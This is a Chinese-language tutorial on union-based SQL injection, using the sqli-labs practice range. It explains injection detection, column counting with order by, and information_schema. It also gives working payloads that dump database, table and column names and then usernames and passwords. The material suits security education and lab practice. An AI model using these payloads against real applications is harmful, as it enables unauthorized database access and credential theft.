一.sql注入漏洞
SQL 注入是一种常见的网络安全攻击方式,黑客利用它来篡改应用程序后台数据库的 SQL 查询,以实现非法目的。攻击者通过向应用程序的输入字段中插入恶意 SQL 代码,来执行未经授权的数据库操作。
二.sql注入原理
sql注入的本质其实就是打破原本传递数据区域的边界,插入逻辑代码。而这也正是他最致命的危害,最初的网站设计者都是直接将用户提交的参数拼接进入sql语句,这种拼接使得攻击者可以提交参数进行注入。
我们看一个sql语句:
select * from users where id=1
这里的id是可控的,我们可以让id为1 and 1=1 和1 and 1=2,对于前者来说,真and真=真,页面会返回与id=1时一样的结果,而后者则因为1=2为假,所以页面返回不一样。由此便可判断可能有注入点,进而可以进行下一步攻击。
三.sql注入相关知识点
4.1
在MYSQL 5.0版本以后,MYSQL默认存在一个“information_schema”的数据库,在该库中,只需要记住三个表名SCHEMATA,TABLES,COLUMNS。
SCHEMATA中存放着所有数据库的库名,记录库名的字段名为schema_name
TABLES中存放着用户创建的所有数据库的库名,表名,记录的字段为table_schema和table_name
COLUMNS中存放着用户创建的数据库的库名,表名,字段名,记录其的字段为table_schema,table_name,column_name
4.2
limit函数使用的格式为:
limit m,n
其中m表示开始的位置,n表示读取的记录。例如limit 0,1 ,表示从第一条开始,读取一条。
4.3
在sql中常见的注释符有 #,--+。
4.4
union select 是合并两个或多个表查询的结果集,如果我们将前面的表设为不存在的表,那么查询结果就返回了我们的目标表格的内容。可以设为-1等。
4.5
group_concat()函数是一种聚拢函数,通常可以将多个列的数据合并为一行。
四.联合查询注入检测方法和攻击方法
基本流程
1.判断是否存在注入点
2.判断漏洞类型
3.判断字段数以及回显点
4.爆库名,表名,字段名以及数据
我们以sqli-labs靶场为例来说明
(1)首先我们要判断是否存在注入点,最常用的方法是输入
?id=1'
?id=1
一式无论是字符型还是数字型,都会因为单个引号的存在而报错。如果是二式的话,只是在字符型时会报错。
还可以运用逻辑表达式
?id=1' and 1=1--+
?id=1' and 1=2--+
当为数字型时一定会报错,因为有单引号的存在。而当为字符型时,由于--+将引号注释了,所以在1处闭合了。我们看本题源码分析
当id=1‘ and 1=1--+时就变为了
$sql='SELECT * FROM USERS WHERE id='1'and 1=1--+'
真and真结果为真,页面返回正确,而当输入1=2时,页面就返回了错误,表明存在注入点,并且为字符型。
(2)判断列数的原因:union前面查询语句查询的元素需要和后面拼接的查询语句查询元素数量一致,否则会报错。
判断列数我们可以使用
union select 1,2,3,.......
由“1”,“1,2”,“1,2,3”依次查询至正确为止。但这种方法相对费力,还有另外一种方法
order by n
可以看出当查询字段数为三时页面返回正常,四时报错了,说明字段数是3。
(3)为什么要找到回显位呢?因为SQL注入的回显点,会有返回的响应结果(回显)。我们输入
?id=-1' union select 1,2,3--+
可以看出回显位是2,3
(4)接下来是最重要的步骤——爆库名表名列名以及信息
~爆库名
我们可以利用database函数返回 ,只要在回显位都可以
?id=-1' union select 1,2,database()--+
我选择的回显位是3,所以在3的位置出现了数据可得名称“security”。
~爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
~爆列名
在找到数据库的表名后 ,我们选则带有敏感信息的表进行查询,例如本题中的users
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
~爆信息
?id=-1' union select 1,2,group_concat(username,password) from security.users--+
对于联合查询注入来说,无论是字符型还是数字型,构造的payload基本都是这样的。但数字型不用构造单引号闭合,故而最后不使用注释符--+
接着我们模仿第一关过一遍第二关
首先,我们判断是否存在注入点
当我们输入id=1时不报错,id=1’时,报错。说明存在注入点并且为数字型
接着我们判断列数
判断出列数是三
然后判断回显位
之后仍按照上面构造的payload爆出数据库名,表名,列名,以及信息